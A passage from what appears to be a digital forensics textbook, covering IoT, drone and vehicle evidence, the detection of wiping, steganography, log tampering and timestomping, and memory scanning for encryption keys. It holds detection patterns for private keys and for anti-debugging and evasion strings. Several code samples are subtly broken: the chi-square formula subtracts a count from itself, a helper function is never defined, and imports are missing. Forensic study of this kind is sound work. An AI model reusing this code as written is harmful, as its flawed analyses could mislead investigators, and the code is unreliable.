return access_logs\n\ndef identify_unauthorized_access(access_logs, authorized_users):\n    \"\"\"Identify potentially unauthorized access\"\"\"\n    \n    suspicious = []\n    \n    for log in access_logs:\n        # Check if user is authorized\n        if log['user'] not in authorized_users:\n            suspicious.append({\n                'reason': 'unauthorized_user',\n                'log': log\n            })\n        \n        # Check for unusual times\n        if log['timestamp']:\n            hour = log['timestamp'].hour if hasattr(log['timestamp'], 'hour') else 0\n            if 0 <= hour <= 5:  # Late night\n                suspicious.append({\n                    'reason': 'unusual_hours',\n                    'log': log\n                })\n        \n        # Check for repeated failures\n        if log['status'] == 'failed' and log['action'] == 'unlock':\n            # Track consecutive failures\n            pass\n    \n    return suspicious\n```\n\n#### Voice Assistant Forensics\n\n```python\ndef analyze_voice_assistant(assistant_data):\n    \"\"\"Analyze voice assistant data\"\"\"\n    \n    analysis = {\n        'commands': [],\n        'queries': [],\n        'devices_controlled': [],\n        'media_played': [],\n        'location_requests': [],\n        'shopping_list': []\n    }\n    \n    if 'history' in assistant_data:\n        for entry in assistant_data['history']:\n            timestamp = entry.get('timestamp')\n            text = entry.get('text', '').lower()\n            action = entry.get('action')\n            \n            # Categorize by content\n            if any(word in text for word in ['play', 'music', 'song', 'podcast']):\n                analysis['media_played'].append({\n                    'time': timestamp,\n                    'command': text\n                })\n            \n            elif any(word in text for word in ['weather', 'where', 'location']):\n                analysis['location_requests'].append({\n                    'time': timestamp,\n                    'query': text\n                })\n            \n            elif any(word in text for word in ['turn on', 'turn off', 'dim', 'brighten']):\n                analysis['devices_controlled'].append({\n                    'time': timestamp,\n                    'command': text\n                })\n            \n            elif any(word in text for word in ['add', 'shopping', 'list']):\n                analysis['shopping_list'].append({\n                    'time': timestamp,\n                    'item': text\n                })\n            \n            else:\n                analysis['queries'].append({\n                    'time': timestamp,\n                    'query': text\n                })\n    \n    return analysis\n```\n\n---\n\n### 14.5 Drone Forensics\n\nDrones contain navigation data, camera footage, and flight logs.\n\n#### Drone Data Sources\n\n| Source | Data | Forensic Value |\n|--------|------|----------------|\n| **Flight Controller** | GPS logs, IMU data | Flight path |\n| **SD Card** | Photos, videos | Visual evidence |\n| **Mobile App** | Flight plans, settings | Operator intent |\n| **Remote Controller** | Telemetry, control inputs | Operation details |\n| **Cloud Services** | Shared flights, media | Extended data |\n\n#### Parsing Drone Flight Logs\n\n```python\nimport csv\nimport json\nfrom math import radians, sin, cos, sqrt, atan2\n\ndef parse_dji_flightlog(log_file):\n    \"\"\"Parse DJI drone flight logs\"\"\"\n    \n    # DJI logs are often in CSV or DAT format\n    flight_data = {\n        'telemetry': [],\n        'events': [],\n        'battery': [],\n        'gps': []\n    }\n    \n    if log_file.endswith('.csv'):\n        with open(log_file, 'r') as f:\n            reader = csv.DictReader(f)\n            for row in reader:\n                entry = {\n                    'timestamp': float(row.get('timestamp', 0)),\n                    'latitude': float(row.get('latitude', 0)),\n                    'longitude': float(row.get('longitude', 0)),\n                    'altitude': float(row.get('altitude', 0)),\n                    'speed': float(row.get('speed', 0)),\n                    'battery': float(row.get('battery', 0)),\n                    'satellites': int(row.get('satellites', 0))\n                }\n                flight_data['telemetry'].append(entry)\n    \n    elif log_file.endswith('.dat'):\n        # Binary format - would need parsing\n        pass\n    \n    return flight_data\n\ndef calculate_flight_path(telemetry):\n    \"\"\"Calculate flight path from telemetry\"\"\"\n    \n    path = []\n    total_distance = 0\n    max_altitude = 0\n    max_speed = 0\n    \n    for i, point in enumerate(telemetry):\n        path.append({\n            'lat': point['latitude'],\n            'lon': point['longitude'],\n            'alt': point['altitude'],\n            'time': point['timestamp']\n        })\n        \n        # Update statistics\n        if point['altitude'] > max_altitude:\n            max_altitude = point['altitude']\n        \n        if point['speed'] > max_speed:\n            max_speed = point['speed']\n        \n        # Calculate distance from previous point\n        if i > 0:\n            prev = telemetry[i-1]\n            distance = haversine_distance(\n                prev['latitude'], prev['longitude'],\n                point['latitude'], point['longitude']\n            )\n            total_distance += distance\n    \n    return {\n        'path': path,\n        'total_distance': total_distance,\n        'max_altitude': max_altitude,\n        'max_speed': max_speed,\n        'duration': telemetry[-1]['timestamp'] - telemetry[0]['timestamp'] if len(telemetry) > 1 else 0\n    }\n\ndef haversine_distance(lat1, lon1, lat2, lon2):\n    \"\"\"Calculate distance between two GPS coordinates\"\"\"\n    \n    R = 6371000  # Earth radius in meters\n    \n    lat1_rad = radians(lat1)\n    lat2_rad = radians(lat2)\n    delta_lat = radians(lat2 - lat1)\n    delta_lon = radians(lon2 - lon1)\n    \n    a = sin(delta_lat/2)**2 + cos(lat1_rad) * cos(lat2_rad) * sin(delta_lon/2)**2\n    c = 2 * atan2(sqrt(a), sqrt(1-a))\n    \n    return R * c\n\ndef analyze_drone_media(media_files):\n    \"\"\"Analyze drone camera media\"\"\"\n    \n    from PIL import Image\n    from PIL.ExifTags import TAGS\n    \n    analysis = []\n    \n    for media_file in media_files:\n        if media_file.endswith(('.jpg', '.jpeg')):\n            try:\n                image = Image.open(media_file)\n                exif = image._getexif()\n                \n                if exif:\n                    exif_data = {}\n                    for tag_id, value in exif.items():\n                        tag = TAGS.get(tag_id, tag_id)\n                        exif_data[tag] = value\n                    \n                    # Extract GPS data if present\n                    if 'GPSInfo' in exif_data:\n                        gps = exif_data['GPSInfo']\n                        \n                        analysis.append({\n                            'file': media_file,\n                            'timestamp': exif_data.get('DateTime'),\n                            'gps': gps,\n                            'make': exif_data.get('Make'),\n                            'model': exif_data.get('Model')\n                        })\n            except:\n                continue\n    \n    return analysis\n```\n\n---\n\n### 14.6 Vehicle Forensics\n\nModern vehicles are complex computers on wheels.\n\n#### Vehicle Data Sources\n\n| System | Data | Access Method |\n|--------|------|---------------|\n| **ECU** | Engine parameters | OBD-II port |\n| **Infotainment** | Phone connections, navigation | USB, removal |\n| **Event Data Recorder** | Crash data | Proprietary tool |\n| **GPS/Navigation** | Destinations, routes | System access |\n| **Telematics** | Remote commands | Cellular network |\n\n#### OBD-II Data Extraction\n\n```python\nimport obd  # python-OBD library\n\ndef read_obd_data(port='COM3'):\n    \"\"\"Read data from OBD-II port\"\"\"\n    \n    connection = obd.OBD(port)\n    \n    data = {}\n    \n    # Read common parameters\n    commands = [\n        obd.commands.SPEED,\n        obd.commands.RPM,\n        obd.commands.COOLANT_TEMP,\n        obd.commands.THROTTLE_POS,\n        obd.commands.ENGINE_LOAD,\n        obd.commands.FUEL_LEVEL,\n        obd.commands.DTC  # Diagnostic Trouble Codes\n    ]\n    \n    for cmd in commands:\n        response = connection.query(cmd)\n        if response.is_null():\n            data[cmd.name] = None\n        else:\n            data[cmd.name] = response.value.magnitude\n    \n    connection.close()\n    return data\n\ndef parse_edr_data(edr_file):\n    \"\"\"Parse Event Data Recorder (Black Box) data\"\"\"\n    \n    # EDR data format is standardized (49 CFR Part 563)\n    # Typically XML or proprietary binary\n    \n    import xml.etree.ElementTree as ET\n    \n    if edr_file.endswith('.xml'):\n        tree = ET.parse(edr_file)\n        root = tree.getroot()\n        \n        crash_data = {}\n        \n        # Parse common EDR elements\n        for elem in root.iter():\n            if 'speed' in elem.tag.lower():\n                crash_data['speed'] = elem.text\n            elif 'brake' in elem.tag.lower():\n                crash_data['brake'] = elem.text\n            elif 'accelerator' in elem.tag.lower():\n                crash_data['throttle'] = elem.text\n            elif 'airbag' in elem.tag.lower():\n                crash_data['airbag_deployed'] = elem.text\n            elif 'seatbelt' in elem.tag.lower():\n                crash_data['seatbelt_status'] = elem.text\n        \n        return crash_data\n    \n    return None\n```\n\n#### Infotainment System Forensics\n\n```python\ndef analyze_infotainment(infotainment_image):\n    \"\"\"Analyze vehicle infotainment system image\"\"\"\n    \n    import sqlite3\n    import os\n    \n    analysis = {\n        'contacts': [],\n        'calls': [],\n        'messages': [],\n        'navigation': [],\n        'media': [],\n        'bluetooth': []\n    }\n    \n    # Mount image (simplified - would use proper mounting)\n    # For analysis, we'll look for common database files\n    \n    for root, dirs, files in os.walk(infotainment_image):\n        for file in files:\n            if file.endswith('.db') or file.endswith('.sqlite'):\n                db_path = os.path.join(root, file)\n                \n                try:\n                    conn = sqlite3.connect(db_path)\n                    cursor = conn.cursor()\n                    \n                    # Try to find contacts\n                    cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\n                    tables = cursor.fetchall()\n                    \n                    for table in tables:\n                        table_name = table[0]\n                        \n                        # Check for contacts\n                        if any(word in table_name.lower() for word in ['contact', 'phonebook']):\n                            try:\n                                cursor.execute(f\"SELECT * FROM {table_name}\")\n                                rows = cursor.fetchall()\n                                \n                                for row in rows[:100]:  # Limit\n                                    analysis['contacts'].append({\n                                        'table': table_name,\n                                        'data': row\n                                    })\n                            except:\n                                pass\n                        \n                        # Check for navigation\n                        elif any(word in table_name.lower() for word in ['nav', 'destination', 'route']):\n                            try:\n                                cursor.execute(f\"SELECT * FROM {table_name}\")\n                                rows = cursor.fetchall()\n                                \n                                for row in rows:\n                                    analysis['navigation'].append({\n                                        'table': table_name,\n                                        'data': row\n                                    })\n                            except:\n                                pass\n                    \n                    conn.close()\n                except:\n                    continue\n    \n    return analysis\n```\n\n---\n\n# PART VII \u2013 ADVANCED TOPICS\n\n---\n\n## Chapter 15 \u2013 Anti-Forensics & Evasion\n\n---\n\n### 15.1 Introduction to Anti-Forensics\n\nAnti-forensics refers to techniques used to hinder or prevent digital forensic analysis. Understanding these techniques is essential for forensic examiners to detect and counter them.\n\n#### Categories of Anti-Forensics\n\n```\n1. DATA HIDING\n   - Steganography\n   - Alternate data streams\n   - Hidden partitions\n   - Encrypted containers\n\n2. DATA DESTRUCTION\n   - Secure deletion\n   - Disk wiping\n   - Physical destruction\n   - Encryption (denial of access)\n\n3. TRAIL OBSCURATION\n   - Log tampering\n   - Timestomping\n   - IP spoofing\n   - Proxy chains\n\n4. TOOL ATTACKS\n   - Forensic tool exploits\n   - Anti-debugging\n   - VM detection\n   - Sandbox evasion\n```\n\n#### The Anti-Forensics Arms Race\n\n```\nAttacker develops technique\n    \u2193\nForensic community discovers\n    \u2193\nTools updated to detect\n    \u2193\nAttackers evolve technique\n    \u2193\nRepeat...\n```\n\n---\n\n### 15.2 Data Wiping Methods\n\nData wiping (sanitization) is the process of permanently removing data from storage media.\n\n#### Wiping Standards\n\n| Standard | Passes | Description |\n|----------|--------|-------------|\n| **DoD 5220.22-M** | 3 | 1st: zeros, 2nd: ones, 3rd: random |\n| **DoD 5220.22-M (ECE)** | 7 | Extended with verification |\n| **Gutmann** | 35 | 35 passes for magnetic media |\n| **NIST 800-88** | 1 | One pass for most media |\n| **Schneier** | 7 | 7 passes of alternating patterns |\n| **RCMP TSSIT OPS-II** | 3/7 | Canadian government standard |\n\n#### Software Wiping Tools\n\n```python\nimport os\nimport random\nimport struct\n\ndef create_wiping_patterns():\n    \"\"\"Create standard wiping patterns\"\"\"\n    \n    patterns = {\n        'zero': b'\\x00' * 512,\n        'one': b'\\xff' * 512,\n        'random': os.urandom(512),\n        'dod_first': b'\\x00' * 512,\n        'dod_second': b'\\xff' * 512,\n        'dod_third': os.urandom(512),\n        'gutmann': [bytes([i]) * 512 for i in range(256)]  # Simplified\n    }\n    \n    return patterns\n\ndef detect_wiped_space(disk_image, sector_size=512):\n    \"\"\"Detect if space has been wiped\"\"\"\n    \n    import numpy as np\n    from collections import Counter\n    \n    with open(disk_image, 'rb') as f:\n        # Sample sectors\n        f.seek(0, 2)\n        disk_size = f.tell()\n        \n        samples = []\n        for offset in range(0, disk_size, sector_size * 1000):  # Sample every 1000 sectors\n            f.seek(offset)\n            sector = f.read(sector_size)\n            if sector:\n                samples.append(sector)\n    \n    # Analyze patterns\n    patterns_found = []\n    \n    for sector in samples:\n        # Check for all zeros\n        if all(b == 0 for b in sector):\n            patterns_found.append('zero_filled')\n            continue\n        \n        # Check for all ones\n        if all(b == 255 for b in sector):\n            patterns_found.append('one_filled')\n            continue\n        \n        # Check for repeated patterns\n        if len(set(sector)) < 10:\n            patterns_found.append('repeated_pattern')\n            continue\n        \n        # Check entropy\n        entropy = calculate_entropy(sector)\n        if entropy > 7.9:  # Almost random\n            patterns_found.append('random_data')\n    \n    # Count occurrences\n    pattern_counts = Counter(patterns_found)\n    \n    return {\n        'patterns': pattern_counts,\n        'total_samples': len(samples),\n        'likely_wiped': len(patterns_found) > len(samples) * 0.8\n    }\n```\n\n#### Detecting SSD TRIM\n\n```python\ndef detect_trim_effects(image_path, partition_offset):\n    \"\"\"Detect if TRIM has been issued on SSD\"\"\"\n    \n    from pytsk3 import Img_Info, FS_Info\n    \n    img = Img_Info(image_path)\n    fs = FS_Info(img, offset=partition_offset)\n    \n    # Check for patterns indicating TRIM\n    # TRIM typically leaves zeros or patterns in free space\n    \n    # Get unallocated space\n    # This is complex - would need to parse file system\n    \n    trim_indicators = {\n        'zeroed_free_space': False,\n        'uniform_patterns': False,\n        'missing_file_fragments': False\n    }\n    \n    return trim_indicators\n```\n\n---\n\n### 15.3 Encryption Bypass Concepts\n\nUnderstanding encryption is crucial for forensic examiners, even if bypass is not always possible.\n\n#### Types of Encryption\n\n| Type | Examples | Forensic Implications |\n|------|----------|----------------------|\n| **Full Disk** | BitLocker, FileVault, LUKS | Everything encrypted |\n| **File/Folder** | EFS, VeraCrypt | Selective protection |\n| **Container** | TrueCrypt, VeraCrypt | Encrypted volumes |\n| **Cloud** | iCloud, OneDrive | Data at rest encrypted |\n| **End-to-End** | Signal, WhatsApp | Inaccessible to provider |\n\n#### Key Discovery Locations\n\n```python\ndef search_for_encryption_keys(memory_dump):\n    \"\"\"Search for encryption keys in memory\"\"\"\n    \n    import re\n    \n    keys = []\n    \n    with open(memory_dump, 'rb') as f:\n        data = f.read()\n    \n    # Look for common key patterns\n    patterns = [\n        (b'[A-Za-z0-9+/]{32,}={0,2}', 'base64_32'),  # Base64 32-byte key\n        (b'[A-Fa-f0-9]{64}', 'hex_256'),             # Hex 256-bit key\n        (b'[A-Fa-f0-9]{128}', 'hex_512'),            # Hex 512-bit key\n        (b'-----BEGIN RSA PRIVATE KEY-----', 'rsa_private'),\n        (b'-----BEGIN PRIVATE KEY-----', 'private_key'),\n        (b'BitLocker', 'bitlocker_key'),\n        (b'\\\\x00\\\\x00\\\\x00\\\\x00.{32}', 'potential_key')  # Null-padded\n    ]\n    \n    for pattern, key_type in patterns:\n        matches = re.finditer(pattern, data)\n        for match in matches:\n            keys.append({\n                'type': key_type,\n                'offset': match.start(),\n                'value': match.group()[:50].decode('ascii', errors='ignore')  # Truncate\n            })\n    \n    return keys\n\ndef extract_bitlocker_keys(memory_dump):\n    \"\"\"Extract BitLocker keys from memory\"\"\"\n    \n    # BitLocker stores keys in memory when drive is unlocked\n    \n    import volatility3\n    \n    # Use volatility's bitlocker plugin\n    # This is simplified - would use actual volatility\n    \n    keys = []\n    \n    # Look for BitLocker FVEK (Full Volume Encryption Key)\n    # and VMK (Volume Master Key)\n    \n    return keys\n```\n\n#### Cold Boot Attack Concept\n\n```python\ndef simulate_cold_boot_attack(memory_file, decay_rate=0.1):\n    \"\"\"Simulate cold boot attack memory decay\"\"\"\n    \n    import numpy as np\n    \n    with open(memory_file, 'rb') as f:\n        data = np.frombuffer(f.read(), dtype=np.uint8)\n    \n    # Simulate bit decay\n    # Each bit has probability of flipping based on temperature/time\n    \n    # Random mask based on decay rate\n    flip_mask = np.random.random(len(data)) < decay_rate\n    \n    # Flip bits\n    corrupted = data ^ flip_mask.astype(np.uint8)\n    \n    return corrupted.tobytes()\n\ndef reconstruct_decayed_memory(corrupted, original_patterns):\n    \"\"\"Attempt to reconstruct decayed memory\"\"\"\n    \n    # Use error correction techniques\n    # This is highly simplified\n    \n    reconstructed = bytearray()\n    \n    for i, byte in enumerate(corrupted):\n        # Check common patterns\n        if byte in original_patterns:\n            reconstructed.append(byte)\n        else:\n            # Find closest match\n            closest = min(original_patterns, key=lambda x: abs(x - byte))\n            reconstructed.append(closest)\n    \n    return bytes(reconstructed)\n```\n\n---\n\n### 15.4 Steganography Detection\n\nSteganography hides data within other data (images, audio, video, etc.).\n\n#### Types of Steganography\n\n| Method | Description | Detection |\n|--------|-------------|-----------|\n| **LSB** | Modify least significant bits | Statistical analysis |\n| **Spatial** | Modify pixel values | Visual inspection |\n| **Frequency** | Modify transform coefficients | Frequency analysis |\n| **Palette** | Modify color palette | Palette analysis |\n| **File Structure** | Hide in metadata | Structure parsing |\n\n#### LSB Detection\n\n```python\nfrom PIL import Image\nimport numpy as np\n\ndef detect_lsb_steganography(image_path):\n    \"\"\"Detect LSB steganography in images\"\"\"\n    \n    img = Image.open(image_path)\n    \n    # Convert to array\n    img_array = np.array(img)\n    \n    # Extract LSBs\n    lsbs = img_array & 1\n    \n    # Calculate statistics\n    # Natural images have random LSB distribution\n    # Stego images may have patterns or non-random distribution\n    \n    # Count zeros and ones\n    zero_count = np.sum(lsbs == 0)\n    one_count = np.sum(lsbs == 1)\n    total = zero_count + one_count\n    \n    zero_ratio = zero_count / total\n    one_ratio = one_count / total\n    \n    # Chi-square test for randomness\n    expected = total / 2\n    chi_square = ((zero_count - expected)**2 / expected) + \\\n                 ((one_count - one_count)**2 / expected)\n    \n    # Analyze color pairs (Primary Sets)\n    # This detects LSB embedding in color images\n    \n    pairs = []\n    for channel in range(3):  # RGB\n        channel_data = img_array[:, :, channel]\n        # Group pixels into pairs (consecutive pixels)\n        flat = channel_data.flatten()\n        pixel_pairs = flat[::2], flat[1::2]\n        pairs.append(pixel_pairs)\n    \n    # RS Analysis (regular vs singular groups)\n    # This is complex - would implement full RS algorithm\n    \n    results = {\n        'lsb_balance': {\n            'zeros': int(zero_count),\n            'ones': int(one_count),\n            'ratio': zero_ratio / one_ratio if one_ratio > 0 else float('inf')\n        },\n        'chi_square': chi_square,\n        'suspicious': abs(zero_ratio - 0.5) < 0.01,  # Too balanced\n        'embedding_capacity': total / 8,  # Bytes that could be hidden\n    }\n    \n    return results\n\ndef extract_lsb_data(image_path, bytes_to_extract):\n    \"\"\"Extract LSB-encoded data from image\"\"\"\n    \n    img = Image.open(image_path)\n    img_array = np.array(img)\n    \n    # Flatten and extract LSBs\n    flat = img_array.flatten()\n    bits = flat & 1\n    \n    # Convert bits to bytes\n    data = bytearray()\n    for i in range(0, min(len(bits), bytes_to_extract * 8), 8):\n        byte = 0\n        for j in range(8):\n            if i + j < len(bits):\n                byte |= (bits[i + j] << j)\n        data.append(byte)\n    \n    return bytes(data)\n```\n\n#### Audio Steganography Detection\n\n```python\nimport wave\nimport numpy as np\n\ndef analyze_audio_steganography(audio_path):\n    \"\"\"Detect steganography in WAV files\"\"\"\n    \n    with wave.open(audio_path, 'rb') as wav:\n        # Get audio parameters\n        n_channels = wav.getnchannels()\n        sample_width = wav.getsampwidth()\n        framerate = wav.getframerate()\n        n_frames = wav.getnframes()\n        \n        # Read audio data\n        frames = wav.readframes(n_frames)\n        \n        # Convert to samples based on sample width\n        if sample_width == 1:\n            samples = np.frombuffer(frames, dtype=np.uint8)\n            samples = samples - 128  # Convert to signed\n        elif sample_width == 2:\n            samples = np.frombuffer(frames, dtype=np.int16)\n        else:\n            samples = np.frombuffer(frames, dtype=np.int32)\n        \n        # Analyze LSBs of samples\n        if sample_width > 1:\n            # For multi-byte samples, analyze LSB of each sample\n            lsbs = samples & 1\n            \n            zero_count = np.sum(lsbs == 0)\n            one_count = np.sum(lsbs == 1)\n            total = zero_count + one_count\n            \n            zero_ratio = zero_count / total\n            one_ratio = one_count / total\n            \n            # Check for echo hiding (detect repeated patterns)\n            # Check for phase coding (analyze phase spectrum)\n            \n            return {\n                'lsb_analysis': {\n                    'zeros': int(zero_count),\n                    'ones': int(one_count),\n                    'ratio': zero_ratio / one_ratio if one_ratio > 0 else float('inf')\n                },\n                'suspicious': abs(zero_ratio - 0.5) < 0.01,\n                'duration': n_frames / framerate\n            }\n    \n    return None\n```\n\n---\n\n### 15.5 Log Tampering Detection\n\nAttackers often attempt to modify logs to cover their tracks.\n\n#### Types of Log Tampering\n\n| Technique | Description | Detection Method |\n|-----------|-------------|------------------|\n| **Deletion** | Remove specific entries | Gap analysis |\n| **Modification** | Change log contents | Hash verification |\n| **Injection** | Add false entries | Correlation |\n| **Truncation** | Delete entire logs | Size monitoring |\n| **Rotation bypass** | Prevent new logs | File monitoring |\n\n#### Detecting Log Gaps\n\n```python\ndef detect_log_gaps(log_file, expected_interval=60):\n    \"\"\"Detect gaps in timestamped logs\"\"\"\n    \n    import re\n    from datetime import datetime, timedelta\n    \n    timestamps = []\n    \n    with open(log_file, 'r') as f:\n        for line in f:\n            # Extract timestamp (format varies)\n            # Common formats: \"2023-06-15 14:23:45\" or \"Jun 15 14:23:45\"\n            timestamp_match = re.search(r'\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}', line)\n            if timestamp_match:\n                try:\n                    ts = datetime.strptime(timestamp_match.group(), '%Y-%m-%d %H:%M:%S')\n                    timestamps.append(ts)\n                except:\n                    pass\n    \n    if len(timestamps) < 2:\n        return []\n    \n    # Find gaps\n    gaps = []\n    for i in range(1, len(timestamps)):\n        gap = (timestamps[i] - timestamps[i-1]).total_seconds()\n        if gap > expected_interval * 2:  # More than double expected\n            gaps.append({\n                'start': timestamps[i-1],\n                'end': timestamps[i],\n                'duration': gap\n            })\n    \n    return gaps\n\ndef verify_log_integrity(log_file, hash_file=None):\n    \"\"\"Verify log file integrity using hashes\"\"\"\n    \n    import hashlib\n    \n    # Some systems store rolling hashes of logs\n    if hash_file and os.path.exists(hash_file):\n        with open(hash_file, 'r') as f:\n            stored_hash = f.read().strip()\n        \n        with open(log_file, 'rb') as f:\n            current_hash = hashlib.sha256(f.read()).hexdigest()\n        \n        return {\n            'matches': current_hash == stored_hash,\n            'stored': stored_hash,\n            'current': current_hash\n        }\n    \n    # Alternative: check for log rotation\n    log_dir = os.path.dirname(log_file)\n    log_base = os.path.basename(log_file)\n    \n    rotated = [f for f in os.listdir(log_dir) if f.startswith(log_base) and f != log_base]\n    \n    # Check if rotated logs are consistent\n    # (e.g., no missing numbers in sequence)\n    \n    return None\n```\n\n#### Detecting Timestomping\n\n```python\nimport os\nimport pytsk3\n\ndef detect_timestomping(file_path, mft_record=None):\n    \"\"\"Detect timestamp manipulation\"\"\"\n    \n    # Compare different timestamp sources\n    timestamps = {}\n    \n    # File system timestamps\n    stat = os.stat(file_path)\n    timestamps['fs'] = {\n        'created': datetime.fromtimestamp(stat.st_ctime),\n        'modified': datetime.fromtimestamp(stat.st_mtime),\n        'accessed': datetime.fromtimestamp(stat.st_atime)\n    }\n    \n    # NTFS timestamps from MFT\n    if mft_record:\n        # Parse $STANDARD_INFORMATION and $FILE_NAME attributes\n        # They may differ if timestomping occurred\n        pass\n    \n    # Check for impossible times\n    for source, ts in timestamps.items():\n        # Future dates\n        if any(t > datetime.now() for t in ts.values()):\n            return {\n                'timestomped': True,\n                'reason': 'future_date',\n                'timestamps': ts\n            }\n        \n        # Creation after modification (impossible)\n        if ts['created'] > ts['modified']:\n            return {\n                'timestomped': True,\n                'reason': 'creation_after_modification',\n                'timestamps': ts\n            }\n    \n    # Compare with other artifacts\n    # Check $UsnJrnl, $LogFile, prefetch, etc.\n    \n    return {'timestomped': False}\n\ndef analyze_mft_timestamps(mft_entry):\n    \"\"\"Analyze MFT entry for timestamp inconsistencies\"\"\"\n    \n    # Parse $STANDARD_INFORMATION (attribute 0x10)\n    # Parse $FILE_NAME (attribute 0x30)\n    \n    # Compare timestamps between the two\n    # If they differ significantly, file may have been timestomped\n    \n    standard_info = {}  # Extracted timestamps\n    file_name = {}  # Extracted timestamps\n    \n    differences = {}\n    for attr in ['created', 'modified', 'accessed', 'mft_modified']:\n        if attr in standard_info and attr in file_name:\n            diff = abs((standard_info[attr] - file_name[attr]).total_seconds())\n            if diff > 10:  # More than 10 seconds difference\n                differences[attr] = diff\n    \n    return {\n        'inconsistent': len(differences) > 0,\n        'differences': differences\n    }\n```\n\n---\n\n### 15.6 Anti-Forensics Detection Framework\n\n```python\nclass AntiForensicsDetector:\n    \"\"\"Comprehensive anti-forensics detection framework\"\"\"\n    \n    def __init__(self, evidence_path):\n        self.evidence_path = evidence_path\n        self.findings = []\n    \n    def run_all_checks(self):\n        \"\"\"Run all anti-forensics detection checks\"\"\"\n        \n        # Check for data wiping\n        self.check_data_wiping()\n        \n        # Check for encryption\n        self.check_encryption()\n        \n        # Check for steganography\n        self.check_steganography()\n        \n        # Check for log tampering\n        self.check_log_tampering()\n        \n        # Check for timestomping\n        self.check_timestomping()\n        \n        # Check for hidden data\n        self.check_hidden_data()\n        \n        # Check for forensic tool evasion\n        self.check_tool_evasion()\n        \n        return self.findings\n    \n    def check_data_wiping(self):\n        \"\"\"Check for evidence of data wiping\"\"\"\n        \n        # Look for disk sanitization tools\n        sanitization_tools = [\n            'CCleaner', 'BleachBit', 'Eraser', 'SDelete',\n            'DBAN', 'KillDisk', 'WipeFile', 'Secure Erase'\n        ]\n        \n        # Check prefetch, registry, etc.\n        \n        # Check for wiping patterns in free space\n        wiped = detect_wiped_space(self.evidence_path)\n        \n        if wiped['likely_wiped']:\n            self.findings.append({\n                'type': 'data_wiping',\n                'confidence': 'high',\n                'details': f\"Wiped patterns detected: {wiped['patterns']}\"\n            })\n    \n    def check_encryption(self):\n        \"\"\"Check for encryption artifacts\"\"\"\n        \n        # Look for encryption software\n        encryption_tools = [\n            'BitLocker', 'TrueCrypt', 'VeraCrypt', 'FileVault',\n            'LUKS', 'PGP', 'GnuPG', 'AxCrypt', '7-Zip'\n        ]\n        \n        # Look for encrypted containers\n        # Check file headers for known encrypted formats\n        \n        # Check for high entropy regions\n        # (would scan disk for high-entropy data)\n        \n        self.findings.append({\n            'type': 'encryption_check',\n            'confidence': 'medium',\n            'details': 'Encryption detection requires deeper analysis'\n        })\n    \n    def check_steganography(self):\n        \"\"\"Check for steganography in image files\"\"\"\n        \n        image_files = []\n        for root, dirs, files in os.walk(self.evidence_path):\n            for file in files:\n                if file.lower().endswith(('.jpg', '.jpeg', '.png', '.bmp')):\n                    image_files.append(os.path.join(root, file))\n        \n        for img in image_files[:10]:  # Limit for demo\n            try:\n                result = detect_lsb_steganography(img)\n                if result['suspicious']:\n                    self.findings.append({\n                        'type': 'steganography',\n                        'confidence': 'medium',\n                        'details': f\"Suspicious LSB patterns in {img}\"\n                    })\n            except:\n                continue\n    \n    def check_log_tampering(self):\n        \"\"\"Check for log tampering\"\"\"\n        \n        log_files = []\n        log_dirs = ['Windows\\\\System32\\\\winevt\\\\Logs', 'var\\\\log']\n        \n        for log_dir in log_dirs:\n            full_path = os.path.join(self.evidence_path, log_dir)\n            if os.path.exists(full_path):\n                for file in os.listdir(full_path):\n                    if file.endswith(('.evtx', '.log', '.txt')):\n                        log_files.append(os.path.join(full_path, file))\n        \n        for log in log_files[:5]:  # Limit for demo\n            gaps = detect_log_gaps(log)\n            if gaps:\n                self.findings.append({\n                    'type': 'log_tampering',\n                    'confidence': 'high' if len(gaps) > 1 else 'medium',\n                    'details': f\"Log gaps detected in {log}: {len(gaps)} gaps\"\n                })\n    \n    def check_timestomping(self):\n        \"\"\"Check for timestamp manipulation\"\"\"\n        \n        # Sample files and check for inconsistencies\n        suspicious = []\n        \n        for root, dirs, files in os.walk(self.evidence_path):\n            for file in files[:100]:  # Limit for demo\n                file_path = os.path.join(root, file)\n                try:\n                    result = detect_timestomping(file_path)\n                    if result.get('timestomped'):\n                        suspicious.append({\n                            'file': file_path,\n                            'reason': result['reason']\n                        })\n                except:\n                    continue\n        \n        if suspicious:\n            self.findings.append({\n                'type': 'timestomping',\n                'confidence': 'high' if len(suspicious) > 1 else 'medium',\n                'details': f\"Timestomping detected in {len(suspicious)} files\",\n                'files': suspicious[:5]\n            })\n    \n    def check_hidden_data(self):\n        \"\"\"Check for hidden data (ADS, slack space, etc.)\"\"\"\n        \n        # Check for Alternate Data Streams (NTFS)\n        if os.name == 'nt':\n            import subprocess\n            result = subprocess.run(\n                ['dir', '/r', self.evidence_path],\n                capture_output=True,\n                text=True\n            )\n            \n            if ':$DATA' in result.stdout:\n                self.findings.append({\n                    'type': 'hidden_data',\n                    'confidence': 'high',\n                    'details': 'Alternate Data Streams detected'\n                })\n    \n    def check_tool_evasion(self):\n        \"\"\"Check for forensic tool evasion techniques\"\"\"\n        \n        # Look for anti-debugging/analysis techniques\n        evasion_indicators = [\n            'IsDebuggerPresent',\n            'CheckRemoteDebuggerPresent',\n            'NtQueryInformationProcess',\n            'vmware', 'vbox', 'virtual',\n            'sandbox', 'analysis',\n            'Sleep', 'time check', 'rdtsc'\n        ]\n        \n        # Scan executable files\n        exe_files = []\n        for root, dirs, files in os.walk(self.evidence_path):\n            for file in files:\n                if file.endswith(('.exe', '.dll', '.sys')):\n                    exe_files.append(os.path.join(root, file))\n        \n        for exe in exe_files[:10]:  # Limit for demo\n            with open(exe, 'rb') as f:\n                data = f.read(1024 * 1024)  # First 1MB\n                \n                for indicator in evasion_indicators:\n                    if indicator.encode() in data:\n                        self.findings.append({\n                            'type': 'tool_evasion',\n                            'confidence': 'medium',\n                            'details': f\"Evasion indicator '{indicator}' in {exe}\"\n                        })\n                        break\n```\n\n---\n\n## Chapter 16 \u2013 Cryptocurrency & Dark Web Forensics\n\n---\n\n### 16.1 Introduction to Cryptocurrency Forensics\n\nCryptocurrencies like Bitcoin are increasingly used in cybercrime for ransom payments, money laundering, and illicit transactions.\n\n#### Blockchain Fundamentals\n\n```\nBlockchain = Distributed ledger of all transactions\n    \u2193\nBlocks contain:\n    - Previous block hash\n    - Timestamp\n    - Transaction data\n    - Nonce\n    \u2193\nEach block linked cryptographically\n    \u2193\nImmutable and public\n```\n\n#### Bitcoin Transaction Structure\n\n```\nInputs (sources of funds):\n    - Previous 